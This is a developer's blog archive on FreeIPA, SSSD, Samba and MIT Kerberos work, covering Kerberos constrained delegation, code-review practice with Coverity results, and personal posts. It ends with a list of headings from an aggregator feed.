All in all, I enjoyed these conferences very much, I won't list all the excellent talks I attended, there were too many. Most importantly I was able to finally meet face to face with some people I interact every day or I needed to have a more interactive discussion to hash out some problems an ideas. So fun and very productive time, what more can you ask for as a nerd type ?

What a great year!

2012-12-29T06:00:00+00:00

This past year has been really great, too bad I found little time to update my blog :-)

A few things happened that made me cheer up while thinking about what has been going on this year.

Samba 4.0 finally happened. It has been an incredible, long ride, with highs and lows but amazingly we pulled it off!

FreeIPA 3.0 and 3.1 with AD cross-forest trust integration also were released this year. I am so proud of this project, it has achieved results I hardly hoped for when I started it a few years ago.

SSSD has seen multiple releases with the 1.8 Long Term Maintenance series and 1.9 series. SSSD is one of the most successful projects I started these past years and I used it every day myself with great pleasure.

Gss-Proxy is the last project I started, just this year, and has seen 2 initial no-fanfare releases. It is one of those plumbing things that are hardly seen (except when things break :-) but it was exciting to work so deep into GSSAPI code.

Kerberos: delegation and s4u2proxy

2012-02-12T16:00:00+00:00

One of the most obscure parts of the Kerberos protocol is delegation. And yet it is a very powerful and useful tool to let "agents" work on behalf of users w/o fully trusting them to do everything a user or an admin can.

So what is delegation ? Simply put is the ability to give a service a token that can be used on the user's behalf so that a service can act as if it were the user himself.

In FreeIPA, for example, the web framework used to mediate administration of the system is such an agent. The framework on it's own has absolutely no privileges over the rest of the system. It interacts almost exclusively with the LDAP server and authenticates to the LDAP server using delegated credentials from the user that is sending in the requests.

This is possible because through Kerberos and GSSAPI it is possible to delegate user's credentials during the Negotiate exchange that happens at the HTTP layer when a user contacts the Web Server and authenticates to it.

How does it work ?

Before we answer this question we have to make a step back and explain what kind of delegations are possible. Historically only one kind of very inflexible delegation was really implemented in standard Kerberos implementations like MIT's or Heimdal's. The full delegation (transmission) of the user's krbtgt to the target service.

This kind of delegation is perfect for services like SSH, where the user wants to have full access to their own credentials after they jumped on the target host, and they generally remain in full control of them.

The drawback of this method is that by transmitting the full krbtgt we are now giving another host potential access to each and all services our user has access to. And while that is "powerful" it is also sort of overly broad in many other situations. the other minor issue is that normally KDC's do not have fine grained authorization attached to this feature, meaning that a user (or often more generally a program acting on the user's machine) can delegate these credentials to any service in the network, w/o much control from admins.

Enter S4U constrained delegation

Luckily for us Microsoft introduced a new type of "constrained" delegation normally referred to as S4U. This is an extension to the age old Kerberos delegation method and adds 2 flavors of delegation each depending on the KDC for authorization; they are called Service-for-User-to-Self (S4U2Self) and Service-for-User-to-Proxy (S4U2Proxy).

Service-for-User-to-Self

S4U2Self allows a service to get a ticket for itself on behalf of a user, or in other terms is allows to get a ticket as if a user requested it using it's krbtgt form a KDC and then contacted the service.

This option may seem of little use, why would a service care for a ticket to itself ? If it is asking it, it already knows the identify of the user and can operate on its behalf right ? Wrong.

There are at least 3 aspects that makes this function useful. First of all you get the KDC to give you a ticket and therefore validate that the user identity actually exist and is active. Second it may attach a MS-PAC (or other authorization data to the ticket, allowing the service to know, form an authoritative source, authorization information about the user. Finally, it may allow the service to do further actions on behalf of a user by using S4U2Proxy constrained delegation on top.

All this is possible only if the KDC allows the specific service to request S4U2Self services. This is an additional layer of authorization that is very useful to admins, it allows them to limit what services can use this feature.

Service-for-User-to-Proxy

S4U2Proxy is the actual method used to perform impersonation against a 3rd service. To use S4U2Proxy a service A that wants to authenticate to service B on behalf of user X, contacts the KDC using a ticket for A from user X (this could also be a ticket obtained through S4U2Self) and sends this ticket to the KDC as evidence that user X did in fact contact service A. The KDC can now make authorization decisions about whether to allow service A to get a ticket for service B in the name of user X. Normally admins will allow this operation only for services that are authorized "Proxies" to other services.

In FreeIPA we just switched to using S4U2Proxy in order to reduce the attack surface against the web framework. By using S4U2Proxy we do not need the user to delegate us a full krbtgt. By doing this we allow the web framework to effectively be able to operate against the LDAP server and no other service in the domain

These 2 delegation methods are available now both in MIT's and Heimdal's Kerberos implementations. In MIT's case (which is the implementation we use in FreeIPA) it is really possible to use these features only if you use an LDAP back-end (or in general a custom back-end that implements the necessary kdb functions. The native back-end does not have support for these features, because it lacks meaningful grouping methods and Access Control facilities to control them.

In coding up the support for FreeIPA we ended up fixing a few bugs in MIT's implementation that will hopefully be available for general use in 1.11 (We have back ported patches to RHEL and Fedora). We also had to modify the Apache mod_auth_kerb module to properly deal with S4U2Proxy, which requires the requesting service to have a valid krbtgt in order to send the request to the KDC. Something mod_auth_kerb did not need before (you do not need a krbtgt if you are just validating a ticket).

Conclusion

S4U constrained delegation is extremely useful, it reduces attack surface by allowing admins to effectively constrain services, and gives admins a lot more control about what users can delegate to. Finally it also makes clients simpler, and this is a key winning feature. In the classic delegation scheme clients needs to decide on their own whether to delegate a krbtgt, which ultimately means either asking the user or always/never do it. And given it is quite dangerous to liberally forward your ticket to random services the default is generally to not delegate the krbtgt, making it very difficult to rely on this feature to make powerless agents. With S4U the user only needs a Forward-able TGT, but does not need to actually forward it at all. This is a reasonable compromise and does not require applications to make choice on user's behalf, nor to make user's need to make any decision. The decision rests on admins to allow certain service or not, and is taken generally once, when the service is put in production, greatly reducing the burden to administrators and the risks involved in the traditional delegation scheme.

Code Reviews, Quality and Coverity Results

2010-12-22T23:00:00+00:00

As SSSD 1.5.0 is hitting the street, I want to give some background on how we deal with code, reviews and quality in SSSD.

NOTE: if you just want to see the Coverity results, feel free to jump to the end of this long post :-)

When I helped jump-starting this project one of the things I wanted to try out was a very strict Review Policy for a few reasons.

One of the reasons was consistency. Previous projects I participated in had very lax policies about pretty much everything. Style, review, quality, where not strictly enforced, and this is felt as a way to keep the barrier to entry low. In my experience though, the inconsistent style, unclear direction, poor or no review, in the end caused other different barriers to a new developer.

Lack of enforced consisting style makes code difficult to read, especially when you have to read a pair of interacting functions that are written in wildly different styles.

Lack of required reviews helped creating an environment in which contributions from outside are not promptly commented upon. The developer with commit access is used to throw in pretty much everything without having to wait for someone to review. This makes core developers forget how painful it is waiting for a review that is never happening. This in turn can discourage new developers that do not have direct commit access from proposing patches as they see too little feedback and do not feel properly engaged.

Finally quality is something I think suffers a lot from lack of review. Developers that do not have to stand review tend to become more relaxed, code is thrown in without much thought, as long as it doesn't break the build. But breaking the build is a pretty low standard. So often the way a function perform operations, the semantics, are implicitly assumed by other code. Reviews, in my experience, tend to expose the same piece of code to different point of views, and expertise within the project. Things that seem innocuous are pointed out and both developers at the end of the process gain both more knowledge of each other points of view, and more knowledge in general about the piece of software they are modifying. Usually the net result is that in the mid/long term code quality improves significantly.

When you use a common SCM tool, like git, code reviews can happen in two ways. Review before commit or Review-Commit (R-C), and review after commit or Commit-Review (C-R). In SSSD we use the former. Patches must be reviewed and acked by a second developer before they can be committed.

R-C is generally thought as a stricter method, but I find it much better than C-R.*

In my experience with the C-R method the reviewer is encouraged to do sloppier and cursory reviews and just give acks unless something really stands up as very ugly. Patches regularly slip past review during phases where a lot of churn happens. Long patches tend to get the least review (exactly when reviews are more important). People are less engaged. Also because the code is already committed, bad patches can cause a lot of bad feelings, the patch is seen as breaking the code, reverts are called for and the author may feel embarrassed or angered by how they are being treated.

R-C instead assures review is done, more importantly it requires active intervention from the reviewer. This in turn makes it less problematic to actually comment on all aspects of the code even minor ones. Of course it also risks abuse from obsessive nitpickers, but in general lets people speak frankly of the code, and request the appropriate corrections be done or the code will not be committed. The patch is never seen as breaking anything, as it is not committed yet, so you rarely see that added anxiety, pressing and bad feelings that rise when a fix is needed asap. The patch creator have all interest in fixing the issues and learning why they were issues in the first place, and resubmit a better patch, without pressure or embarrassment.

I found this aspect to be fundamental in helping new developers get up to good code standards quickly. Not only people does not get frustrated by poor commits that need to be "fixed" asap. But the interaction between more senior developers and younger ones benefits both greatly. On the one hand the younger developer gets access to the insights of the more experienced developer. They get to understand why the patch is not OK and how it need to be improved to be made acceptable. On the other hand the more experienced developer gets a grasp of what parts of the code are really difficult to deal with for younger ones. Sometimes you are so used to do things one way that you don't realize that they really are pain points and needs refactoring to make them usable.

Also because all developers are submitted to the same regime there are no 'elites' that escape review. And this prevents bad feelings when a patch takes some more time to get approved. It generally also prevent the 'elite' from looking down on new developers. Or other similar 'status' issues. Of course there always developers that are more authoritative, but that authority is earned on the field and maintained through reviews

Arguably all these arguments are strongly biased by my personal view of things, I definitely do not deny that, but is there a metric that can tell whether I was right or wrong in some respect ?

Coverity Results seem to give some interesting insight.

We have been running Coverity a couple of times during the 1.2.0 development cycle, using spare cycles of an internal Red Hat instance. 1.2.0 was an important release for us because it was going to end up in RHEL 6.0 so we wanted to find and fix as many critical bugs as possible.

The first time, ever, that we ran Coverity on the SSSD code base gave us back a defect density of 1.141 bugs per thousand lines of code. After removing the false positives we were down to 0.556 bugs per thousands lines of code.

This was an astounding result. As you can see in the 'Coverity Scan: 2010 Open Source Integrity Report' the mean of defects for the software industry is around 1 defect per thousand lines, and the mean for first scan is usually much higher. Also looking at the 2006 report the mean for the top most 32 open source projects was around 0.4 defects per thousands lines. So we were pretty close to that metric too.

Of course we fixed most of the bugs that were found and a second scan of the 1.2.1 release revealed a defect density of 0.029 bugs per thousands lines. I call that impressive (and if you know me you know I am not someone that easily shows enthusiasm).

That was all and well, but we didn't have further access to Coverity until recently. During the release of 1.5.0 we got access again to Coverity scans, so we ran the tool to find out how we fared.

Before spitting numbers I have to say that the comparison against 1.2.0 is a bit skewed because we forked off a set of basic libraries that now live in their own tree.

1.2.1 had ~ 74k lines of C code alone and the libraries we forked off constituted ~12k lines of that code. In 1.5.0 we have ~ 65k lines instead. So we roughly lost 12k lines and gained 3k lines total. The amount of code change is quite a different thing though. Using git, I can see that the removal of the libraries amounted to roughly 34k deletions (this counts also makefiles, comments, blanklines, etc... that's why it is different than the 11k LOC numbers I gave above) while the diffstat of the diff between 1.2.1 and 1.5.0 gives ~ 73k deletions and 56k additions. So quite a bit of changes happened on that code base after all.

In mid December we scanned the code base, roughly 6 months after the release of 1.2.1, and the results were again astounding: 0.189 bugs per thousand lines. In total 24 defects, 20 real, and 4 false positive. And a week later the we were down to 0 (zero) outstanding defects.

These numbers tell me that our code quality is quite good, and although I can't claim a causal effect, I believe that our review strategy is to be accounted for much of it.

Finally, Congratulations to all SSSD developers. You've done a fine job guys, quite a fine job!

* - I have to say that w/o git R-C would be probably too painful, but git let's you manage the code so easily that R-C has become much simpler and doesn't block a developer as he can keep piling patchs on top of his own repository while waiting for the review, and later easily use the rebasing features of git to fix whatever need fixing quite easily.

SSSD a tale of community, collaboration, success!

2010-05-24T20:44:00+00:00

Today a long development cycle started more than a year an half ago comes to a conclusion with a great release: SSSD 1.2.0 is out!

First of all I must say I am extremely proud of the team. When I started the project in September 2008 I knew where I wanted to go, and I knew it would have been a long journey. But I didn't really know how the trip would be.

Looking back at the first days it seem magic what we achieved, so much was unknown, so high where my expectations, I almost feared I couldn't live up to them myself. But thanks to Steve, Sumit, Jakub, Martin and others the project grew, matured and now SSSD is going to be shipped in the forthcoming RHEL 6 release.

Since a few months ago Steve really took over the release management role and he's done an outstanding job. The SSSD 1.2.0 release has his name all over. The dedication he showed is truly remarkable. Thanks Steve!

Beside the more dedicated developers I also have to thank a lot of people that put SSSD under stress and tested it in real deployments, since the the early 0.x releases.

One of the most important factors for the success of a FOSS project is the formation of a community of people that can work together in a very cooperative way. All these people not only reported bugs but also patches and most importantly had the patience to interact and test fixes, make requests, discuss needs and expectations. A great positive feedback loop; extremely motivating! I can say beyond any doubt that without them SSSD wouldn't be even close to where it is now.

THANK YOU contributors, all of you!

Of course a new cycle opens now, as new releases are already waiting in the pipeline, but it is a good moment to stop and look at what has been done.

SSSD is something that I have been thinking about in various forms since I started working for Red Hat more than 3 years ago, and in vague forms way, way before that, back when I was still doing consulting jobs in Italy. Since I started formalizing it within Red Hat it was called in many ways (one of the stickier names we used internally for a while was "Blue Box"), and was often thought as a piece of the puzzle we call FreeIPA. You can still probably find references to it in the older design plans on the FreeIPA wiki.

So what can SSSD do today?

The most interesting features are related to the primary use case we've been working against. LDAP servers and Kerberos authentication.

SSSD works like a connection pooling an cache mechanism for a client. It will provide the machine with users and groups fetched and cached from the central server. Plus it adds neat feature like offline authentication, a real boon if you want to use LDAP and laptops at the same time, but in general a great feature if you have remote machines behind a slow or unstable link and you want to take sure your users can keep working if the connection goes temporarily down. It frees you from the need to put an LDAP replica in a remote office just for a very few users.

SSSD has a modular multi-process design, it has been built with resilience and robustness in mind, a very small process controls a bunch of children that handle specific tasks. If any component dies, the monitor restarts it to avoid service disruption. (although I have to say that it has been many many moons since I had an issues on my machines, and that's just great).

SSSD is built with frontends to handle NSS and PAM communication, and backend providers to handle access to remote servers, plus a file based mmaped cache that works as a unifying glue to store and retrieve data. Multiple different backends can be configured, to retrieve user information and perform authentication. And many of these modules can be combined together like in the case of the IPA backend that is substantially an LDAP identity provider plus a Kerberos authentication provider.

Much more could be said, but I think this is enough to ignite some curiosity for now ;-)

For the interested people I can say SSSD has been shipped in Fedora for quite a while now, but only recently authconfig was modified to make it simpler to configure it with the upcoming F-13 release. The integration is already quite nice and we hope to improve it even more in future. Although other distributions have already packaged it and will hopefully ship it soon as a first citizen too.

Last but not least, I must also thank Red Hat for believing in this small project and funding most of its development so far. Red Hat is a great place to stay if you want to develop core infrastructure technology.

Convincing a Windows Domain that we are trustworthy

2010-03-16T03:40:00+00:00

In the last few weeks I have been working on trying to find out how to make a Windows 2008 R2 Domain Controller, trust a Samba domain so that it would consider us able to handle PACs and therefore send us them.

This is different from the normal MIT Kerberos level trust. When using those trusts, the Windows DC does not expect the other Realm to be able to send PACs, understand PACs, or understand routing information for transitive trusts.

In order to set-up a cross-realm trust you need to make the Windows DC believe we are actually just another Windows Domain, with all the bells and whistles of a Windows Domain. Well, actually not all of them, and discovering exactly which ones was my goal.

As usual with Windows, there is a lot of redundancy and different ways to do things. Depending on the way you try to set up cross-forest trust relationships you will cause different netlogon RPCs to be issued.

After implementing some of them, and finding that some others were hard, I tried to find a way to reduce the amount of calls we need.

It turns out, as one might expect, that creating the 2 half of the trust on each DC would be easier as only the verification process is left. What I did not expect was that that was going to be true even if the tool used to create the trust on the Samba side, was actually a Windows 7 box.

Long story short, after fiddling around and hacking up some netlogon calls obscenely, in some cases hard coding server names in there, I was able to convince the Windows DC that we were indeed a trustworthy realm. Something to which it could route kerberos packets including the PAC.

At the same time the Samba domain KDC was able to parse the PAC and use the cross-realm trust account password to release tickets. And the Windows side was able to use this to seamlessly access the Samba fileserver.

For the moment it is all a big hack, and I have tested it only with a one way trust relationships (the Samba domain trusts the Windows domain but not the other way around). Yet it allowed me to finally confine the problem and understand exactly what is the minimum set of calls we have to answer and, most importantly, what we are supposed to answer.

Because of the hacks this code won't go in any tree for now, but it the base I need to plan the next steps. There is a lot of work to do before we have the mechanism needed to substitute the hacks with the proper actions the Samba server needs to take.

Ah, almost forgot, while researching this matter I also found interesting oddities and some protocol issues. Those always spice up your day, as it derails all your work and distracts you from your path until you understand and then solve or work around the problem. Usually just to fall into a new one a few days later, just as soon as you got back to the thread and remembered what were you actually doing and expecting to happen, so that you can happily forget it all over again. But this is also fun if you can take it philosophically :-)

Samba + MIT Kerberos, first steps are done

2010-02-01T23:08:00+00:00

I've been working on rebasing the samba patches to be able to push them upstream. After some quite deep rebasing work I was able to push all of the changes required to common code. And the amount of changes were surprisingly small all considered.

Today I finished nailing the last bits in the samba and mit sides of the plugin implementing both policy checks calls and constraint delegation calls. I will propose the patch to both upstreams soon.

Meanwhile my focus has been shifting toward Cross-Realm trust relationships and in particular External and Forest trusts in AD parlance, both one-way and two-way

Unfortunately the samba 4 code still does not support cross-realm trust so I had to use 2 Windows 2008 Servers to do my experiments.

The amount of calls that need to be implementd does not look too big, although the devil is always in the details. It even seem that there is some code already available but it is not fully patched in. As we stand, A Windows DC is able to actually create the trust domain object in Samba's Database, but then Samba fails to reply to some queries about it and to setup Schannel over RPC to validate the Trust from the Windows pov.

I am considering working on Samba 4 to get it to work in a trusted realm scenario, but I still need to do some more research first.

Habemus PAC

2010-01-15T00:38:00+00:00

After some working, digging, changing, re-changing, fixing, cursing, fixing it again, I've got MIT Kerberos and Samba collaborate also on the PAC front.

Today I was able to login on Windows 7 using the MIT KDC, and all players are happy.

This was an important mileston, although the job is certainly not finished. I still have to implement one important authorization function, and go over a few todo's in the code.

But as with all milestones this was very satisfing, even more so because it took me a lot less than I anticipated, and I usually underestimate :-)

Well, that's it for today!

Hurray! Got the first ticket from MIT Kerberos + Samba 4

2010-01-09T00:59:00+00:00

It is always a sweet feeling when things go the way you like, and fast too!

After just a week working around this Chimera, today I was able to tame the beast. I made krb5kdc return a TGT reading all data off of samba4 internal database.

I can't feel anything but triumph. It is true that it is not that much after all, but I can't help feeling happy for the result. This effort has been put off for so long and deemed so difficult that I was very pleased to find out it wasn't too difficult after all.

Of course the job is not done. The impedance mismatch between Samba 4's embedded Heimdal and MIT Kerberos interfaces forced me to defer adding the PAC. Without the PAC, the nice Windows 7 refuses to log you in of course, but that was expected, so it didn't bother me in the least.

Adding the PAC is not difficult, and all the code I need is in Luke's HDB Bridge code, which provided also most of the guidance and code I needed for this effort.

Without Luke's code this effort would have been much more difficult indeed. The code itself is not very complex, but the knowledge of both project internals was needed and Luke provided the knowledge I missed on the MIT kdb plugin side.

I hope to have a hacky prototype able to add the PAC using Luke's code next week. Once I can make Windows work with this code, I will actually start working on trying to get a little bit cleaner interfaces within Samba so that I can reduce the dependency on the Heimdal code hacks in the bridge code.

PS: if you want to see the work you can pull the code from these 2 branches:
git://git.samba.org/idra/samba.git
git://git.samba.org/idra/krb5.git

mating samba and MIT Kerberos

2010-01-05T00:14:00+00:00

Just before the holidays I started working on a new project to mate Samba 4 and MIT Kerberos.

Samba 4 embeds a copy of Heimdal Kerberos, and I want to use MIT instead as that’s what is ditributed in RHEL and Fedora and it is the implementation of Kerberos we use in FreeIPA.

Samba 4 is basically one gigantic mess of spaghetti code (No it is not that bad, but dependencies are intricate :-)

Because it embeds the Heimdal KDC it also uses the Heimdal client library and it conflicts with the MIT Kerberos one of course. So here I am building a plugin that can act as separation layer that will, hopefully, keep the namespaces separated (thanks RTLD_LOCAL).

It is going to be an interested ride.

(if you want to take a look feel free to check my personal samba git repo on git.samba.org and soon I will also publish the krb5 repo with the other half somewhere too …)

Fun with Wiimotes

2010-01-04T04:51:00+00:00

Today I saw this YouTube video and got intrigued again about playing with my Wii Remote.

So I searched around and found 2 useful projects.

The first is the wiiuse library, although a bit buggy and with horrible dosmode files (carriage return at the end of each line) I quickly packaged and even submitted a review bug to push it into Fedora.

The second is an even crueder program called XWii. The code is a bit horrible, but I was able to quickly hack it to do a few things including mapping multimedia volume keys to minus/plus/home Wiimote buttons, and a bit finer control to be able to use a wiimote as a real IR mouse. There is a lot of work to turn this program in a state where I can consider proposing it as a Fedora package.

If I can find time on weekends I plan to buy a few infrared leds and play a bit with my wiimotes and my video projector. If all goes well I might rewrite xwii in C as a real daemon and propose it as a package for Fedora. But no promises, this new year looks like I am going to work hard on a few work-related projects, so it may take quite some time or forever ...

Holidays are awesome

2009-12-27T19:39:00+00:00

Spent awesome holidays with relatives.

As usual the best is food. I love holidays food, especially Italian holidays food

Today Luana and her parents made something special: Home made gnocchetti with beans. They brought home made sausages too, and this evening we are going to have home made pizza.

Total Bliss

Bye bye Evolution - welcome claws-mail

2009-12-18T21:02:00+00:00

After more than 8 years of service I finally abandoned evolution for my work mail.

I used evolution with great satisfaction for many years, but recently it has got in the way.

I am still using evolution for my personal email on my personal desktop but not for work anymore.

Many small things got worse in the last year. Calendaring with Zimbra stopped working even half decently no less than 2 moths ago, changes in the way messages are displayed or threaded I didn’t like a bit and got in my way of managing email.

As of late I kept using evolution mostly for the integrated calendar, although it never worked perfectly it was still decent and the best compromise I could find. But since calendaring stopped working (appointments alarms do not fire, evolution prevents me changing stuff etc…) the last reason to keep sticking to evo faded.

So I looked out again and decided to give another try to claws-mail. Last time I tried it was 3-4 years ago and compared to evolution it was simply way to poor in features.

But recent releases are just all evolution should be for me. The only thing claws-mail lacks is the graphical polish evolution has. But I can live with an ugly tool as long as it does the job.

And claws-mail just does the job.

It lets me configure just about every single behaviour and every single item in the interface the way I like. I finally found again the joy of configuring a tool so that it maximized my way of doing things instead of having to bend my habits to a rigid tool like evolution is gradually becoming.

If I were to make the usual dreaded car analogy, evolution is more and more looking like the typical cheap sports car that has a very nice line and nice features, but is fragile.

Claws is more like a Van or a Truck, it ain’t pretty, but when I have to use it for my work it just is about perfect, it get’s the job done, without fear of scratching the paint either.

Claws-mail lacks a decent calendaring support and has no way to integrate with Zimbra, and the optional calendaring plugin it has is pretty poor, but given evolution is broken in that regard I can hardly say that’s a show-stopper. For calendaring I am now also experimenting again with sunbird.

But for mail it supports all I need, GSSAPI auth works, IMAP works great and looks like offline support works as well. Search does its job and so on.

But again the main feature is that I was able to configure just about any aspect I wanted.

I can tell it exactly how to behave when I change a folder (I prefer it to select the last mail I’ve read)

It doesn’t jump hectically when I get in a folder just because I like to keep new mails at the bottom and not at the top like evolution does.

It is generally faster at rendering messages.

One difference with evolution is how it manages attachments, I think I like how it does it though. Does not cause again all the view pane to flicker like evolution does just because it has to recalculate the page layout to show the attachment content when you select it.

In short I got in love by how well it configures and although it lacks calendaring and it is not much multithreaded (sometimes you have to wait for another operation to finish) it looks solid and didn’t have a problem with my multi-gigs IMAP repository.

All in all, right now I feel it much power-user friendly, and is making my use of email enjoyable again like it was with evolution up to 2-3 years ago.

Let’s see how long the honeymoon will last :-)

FreeIPA Identity Management planet - technical blogs

How I Work

kurbu5: MIT Kerberos plugins in Rust

Local authentication hub

Pre-authentication

API bindings

ASN.1 for legacy apps: Synta

Synta, ASN.1 library

Performance

Processing CA databases

Why C Libraries Are Slower

FreeIPA local tests and FOSDEM demos

Demo labs

Demo recordings

Minimal deployment demo

Local KDC demo

IPA to IPA trust demo

Local authentication hub

Local authentication hub

History dive

Modern days

How “local” a local KDC should be?

Trust management

Systemd User/Group API support

Establishing trusts

Current state of local authentication hub

FreeIPA: whoami via curl

IPA-IPA trust progress report

Trust across enterprise domains

Kerberos trust infrastructure

Identity information retrieval

Demo

Future work

CentOS Connect 2024 report

CentOS Connect

CentOS Integration SIG

CentOS Stream and EPEL

20 years of CentOS project

FreeIPA and CentOS project infrastructure

Hallway tracks

Interoperability of RHEL 7/8/9 IdM server and RHEL 7/8/9 IdM client

Multi-homed FreeIPA server investigation

Single-homed environment

Multi-homed environment

Requirements

Implementation considerations

Hostname aliases

LDAP Access Controls

Certificate issuance

Installer integration

Final thoughts

Flock to Fedora 2023 report

Talks

State of Fedora 2023

rpminspect: Lessons from three distributions

Using AI/ML to process automated test results from OpenQA

Hallway track

Asahi Linux and Fedora

Podman desktop: from Fedora to Kubernetes for beginners

Panel: Upstream collaboration & cooperation in the Enterprise Linux ecosystem

State of EPEL

Passwordless Fedora

OpenQA hacking

Social events

OpenSSL 3.0 Providers and PKCS#11

A small rant on OpenSSL internals

A Small rant on PKCS#11

Conclusions

CVE-2022-4254: FreeIPA PKINIT certificate mapping vulnerability

CVE-2022-4254: FreeIPA PKINIT certificate mapping vulnerability

Executive summary §

Affected versions §

Timeline §

Problem description §

Sanitisation not performed §

Demo 1: Attacker-supplied rfc822Name §

Setup §

Exploit §

Demo 2: Wildcard DNS name §

Setup §

`rpminspect`: Lessons from three distributions

Demo 1: Attacker-supplied `rfc822Name` §

The `FeatureGate` resource §

Applying `FeatureGate` changes §

Specifying the `Content-Type` header §

Idea 1: custom `HeaderDelegate` §

The `ExternalDNS` custom resource §

SRV records for `LoadBalancer` Services §

SRV records for `NodePort` services §

Why `runAsUser` must be specified §

Using `runc` to explore the OCI Runtime Specification §

Modifying `runc` to `chown` the container cgroup §

Install modified `runc` package §